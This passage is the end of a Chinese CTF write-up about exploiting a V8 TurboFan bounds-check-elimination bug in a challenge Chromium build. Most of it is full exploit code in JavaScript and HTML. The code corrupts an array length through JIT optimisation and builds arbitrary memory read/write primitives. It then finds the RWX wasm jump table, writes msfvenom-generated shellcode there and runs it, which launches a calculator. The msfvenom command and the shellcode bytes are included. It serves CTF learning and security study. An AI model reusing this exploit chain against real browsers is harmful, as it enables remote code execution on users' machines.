log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
// 获取 WasmInstanceObject 地址
WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
// 获取 JumpTableStart 地址
JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

    需要注意的是，在读取WasmExportedFunctionDataAddr时会触发 debug 的越界检查：

    // v8/src/code-stub-assembler.cc
// in CodeStubAssembler::FixedArrayBoundsCheck
CSA_CHECK(this, UintPtrLessThan(effective_index,
                                  LoadAndUntagFixedArrayBaseLength(array)));

    注释掉再重新编译即可。

d. shellcode

最后我们只要将 shellcode 写入该 RWX 地址处并调用 Wasm JSFunction 即可成功执行 shellcode。

使用 msfvenom 生成满足以下条件的 shellcode:

  • payload为 linux x64
  • 格式为 C语言
  • 命令为DISPLAY=:0 gnome-calculator 
msfvenom -p linux/x64/exec CMD='DISPLAY=:0 gnome-calculator' -f c

输出如下：

Payload size: 67 bytes
Final size of c file: 307 bytes
unsigned char buf[] = 
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1c\x00"
"\x00\x00\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e"
"\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x00"
"\x56\x57\x48\x89\xe6\x0f\x05";

e. exploit

  • 结合上面的内容，release 版本 v8 的 exp 如下： 
    function log(msg)
{
    console.log(msg);
    // var elem = document.getElementById("#log");
    // elem.innerText += '[+] ' + msg + '\n';
}

/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/

var transformBuffer = new ArrayBuffer(8);
var bigIntArray = new BigInt64Array(transformBuffer);
var floatArray = new Float64Array(transformBuffer);
function Int64ToFloat64(int)
{
    bigIntArray[0] = BigInt(int);
    return floatArray[0];
}
function Float64ToInt64(float)
{
    floatArray[0] = float;
    return bigIntArray[0];
}

/******* -- 修改JSArray length 的操作 -- *******/
var oob_arr = [];
function opt_me(x)
{
    oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi
}
// 试着触发 turboFan，从而修改 JSArray 的 length
for(let i = 0; i < 0x10000; i++)
    opt_me(1);
// 简单 checker
if(oob_arr[1023] == undefined)
    throw "OOB Fail!";
else
    log("[+] oob_arr.length == " + oob_arr.length);

/******* -- 任意地址读写原语 -- *******/

var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = -1;

// 确定backing_store_offset
for(let i = 0; i < 0x4000; i++)
{   
    // smi(0x400) == 0x0000023300000000
    if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000)
    {
        backing_store_offset = i + 1;
        break;
    }
}
// 简单确认一下是否成功找到 backing_store
if(backing_store_offset == -1)
    throw "backing_store is not found!";
else
    log("[+] find backing_store offset: " + backing_store_offset);

function read_8bytes(addr)
{
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true);
}
function write_8bytes(addr, data)
{
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true);
}

/******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/
function prettyHex(bigint)
{
    return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
}

// C++ 代码 `void func() {}` 的 wasm 二进制代码
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
// 这里写入了一个哨兵值0x233333，用于查找 WasmJSFunction 地址
var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
var WasmJSFunctionIndex = -1;

for(let i = 0; i < 0x4000; i++)
{   
    // 查找哨兵值
    if(Float64ToInt64(oob_arr[i]) == 0x233333)
    {
        WasmJSFunctionIndex = i + 1;
        break;
    }
}

// 简单确认一下是否成功找到 WasmJSFunctionAddr
if(WasmJSFunctionIndex == -1)
    throw "WasmJSFunctionAddr is not found!";
else
    log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);

// 获取 WasmJSFunction 地址
WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
// 获取 SharedFunctionInfo 地址
SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
// 获取 WasmExportedFunctionData 地址
WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
// 获取 WasmInstanceObject 地址
WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
// 获取 JumpTableStart 地址
JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

/******* -- 写入并执行shell code -- *******/
var shellcode = new Uint8Array(
    [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
     0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00,
     0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e,
     0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00,
     0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]
);
// 写入shellcode 
log("[+] writing shellcode ... ");
// (尽管单次写入内存的数据大小为8bytes，但为了简便，一次只写入 1bytes 有效数据)
for(let i = 0; i < shellcode.length; i++)
    write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);
// 执行shellcode
log("[+] execute calculator !");
WasmJSFunction();

    最终在 release 版下的 v8 可以成功调用 calculator：

  • 但我们做题实际用到附件是一个带漏洞 v8 的 chromium。为了将 exploit 从 v8 移植到 chromium，其中做了一点点微调，因此最终的 exploit 如下：

    这里主要调整了两个地方：

    1. 微调了内存布局。
      将oob_arr、array_buffer以及WasmJSFunctionObj放的更近，使得内存布局的相对偏移不会太大。这样搜索哨兵值时就不用搜索太多次。
    2. 将两个搜索哨兵值的for循环合并成一个。
      因为动态调试发现，当第二个for循环开始执行几十个循环后，原先存放 oob_array 以及 WasmJSFunctionObj 内存的数据将会被覆盖，疑似因为对象被过多访问而将其移动至另一个内存段上。这对我们泄露地址相当不利，因此合并两个for循环以降低搜索次数。
    <script>
    /******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/
    var transformBuffer = new ArrayBuffer(8);
    var bigIntArray = new BigInt64Array(transformBuffer);
    var floatArray = new Float64Array(transformBuffer);
    function Int64ToFloat64(int) {
        bigIntArray[0] = BigInt(int);
        return floatArray[0];
    }
    function Float64ToInt64(float) {
        floatArray[0] = float;
        return bigIntArray[0];
    }

    /******* -- 修改JSArray length 的操作 -- *******/
    var oob_arr = [];

    function opt_me(x) {
        oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
        let t = (x == 1 ? 9007199254740992 : 9007199254740989);
        t = t + 1 + 1;
        t -= 9007199254740990;
        t *= 2;
        t += 2;
        oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi
    }
    // 试着触发 turboFan，从而修改 JSArray 的 length
    for (let i = 0; i < 0x10000; i++)
        opt_me(1);
    // 简单 checker
    if (oob_arr[1023] == undefined)
        throw "OOB Fail!";
    else
        console.log("[+] oob_arr.length == " + oob_arr.length);

    /******* -- 布置内存（使 oob_array、array_buffer 以及 WasmJSFunctionObj 相邻） -- *******/
    // 注意必须在执行完turboFan后开始布置

    var array_buffer;
    array_buffer = new ArrayBuffer(0x233);
    data_view = new DataView(array_buffer);
    backing_store_offset = -1;

    // C++ 代码 `void func() {}` 的 wasm 二进制代码
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 132, 128, 128, 128,
        0, 1, 96, 0, 0, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5,
        131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2,
        6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 102, 117, 110, 99, 0, 0, 10, 136, 128, 128, 128,
        0, 1, 130, 128, 128, 128, 0, 0, 11]);
    var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), {});
    var WasmJSFunction = m.exports.func;
    // 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
    // 这里写入了一个哨兵值0x233333，用于查找 WasmJSFunction 地址
    var WasmJSFunctionObj = { guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction };
    var WasmJSFunctionIndex = -1;

    /******* -- 任意地址读写原语 -- *******/

    // 确定backing_store_offset 以及 WasmJSFunctionIndex
    // 只用一个for循环，只遍历一次
    for (let i = 0; i < 0x4000; i++) {
        let val = Float64ToInt64(oob_arr[i]);
        // 开始查找哨兵值
        // 在查找array_buffer的backing_store时，注意DataView在Array_buffer高地址处
        // 查找哨兵值时有可能会查找到错误的位置，因此这里只取查找到的第一个地方
        if (backing_store_offset == -1 && val == 0x0000023300000000) {
            backing_store_offset = i + 1;
            console.log("[+] find backing_store offset: " + backing_store_offset);
        }
        else if (WasmJSFunctionIndex == -1 && val == 0x233333) {
            WasmJSFunctionIndex = i + 1;
            console.log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);
        }
        // 如果都找到了就不用再找，以免碰上SIGMAP
        if (backing_store_offset != -1 && WasmJSFunctionIndex != -1)
            break;
    }
    // 简单确认一下是否成功找到 backing_store
    if (backing_store_offset == -1)
        throw "backing_store is not found!";
    // 简单确认一下是否成功找到 WasmJSFunctionAddr
    else if (WasmJSFunctionIndex == -1)
        throw "WasmJSFunctionAddr is not found!";

    function read_8bytes(addr) {
        oob_arr[backing_store_offset] = Int64ToFloat64(addr);
        return data_view.getBigInt64(0, true);
    }
    function write_8bytes(addr, data) {
        oob_arr[backing_store_offset] = Int64ToFloat64(addr);
        data_view.setBigInt64(0, BigInt(data), true);
    }

    /******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/
    function prettyHex(bigint) {
        return "0x" + BigInt.asUintN(64, bigint).toString(16).padStart(16, '0');
    }

    // 获取 WasmJSFunction 地址
    WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
    console.log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
    // 获取 SharedFunctionInfo 地址
    SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
    console.log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
    // 获取 WasmExportedFunctionData 地址
    WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
    console.log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
    // 获取 WasmInstanceObject 地址
    WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
    console.log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
    // 获取 JumpTableStart 地址
    JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
    console.log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

    /******* -- 写入并执行shell code -- *******/
    var shellcode = new Uint8Array(
        [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
            0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00,
            0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e,
            0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00,
            0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]
    );
    // 写入shellcode 
    console.log("[+] writing shellcode ... ");
    // (尽管单次写入内存的数据大小为8bytes，但为了简便，一次只写入 1bytes 有效数据)
    for (let i = 0; i < shellcode.length; i++)
        write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);
    // 执行shellcode
    console.log("[+] try to execute shellcode ... ");
    WasmJSFunction();
</script>

    使用如下命令以执行exp:

    chrome/chrome --no-sandbox --user-data-dir=./userdata http://127.0.0.1:8000/test.html

    尽管给出的附件打了no-sandbox的patch，但实际exp仍然无法执行，必须附加参数--no-sandbox才能成功触发，玄学问题XD。

    效果如下：

 

七、参考

  1. Introduction to TurboFan
  2. google-ctf-2018-browser-pwn分析
  3. Why I failed to trigger Bound Check Elimination in Google CTF 2018 Final JIT
  4. Google CTF justintime writeup – 先知社区

本文由Kiprey原创发布

转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/229554

安全客 - 有思想的安全新媒体

分享到：微信
+11赞
收藏
Kiprey
分享到：微信

发表评论

Kiprey

二进制安全爱好者

  • 文章
  • 15
  • 粉丝
  • 38

TA的文章

相关文章

热门推荐

文章目录
安全客
商务合作
内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8：819797106
  • 官网QQ群3：830462644(已满)
  • 官网QQ群2：814450983(已满)
  • 官网QQ群1：702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66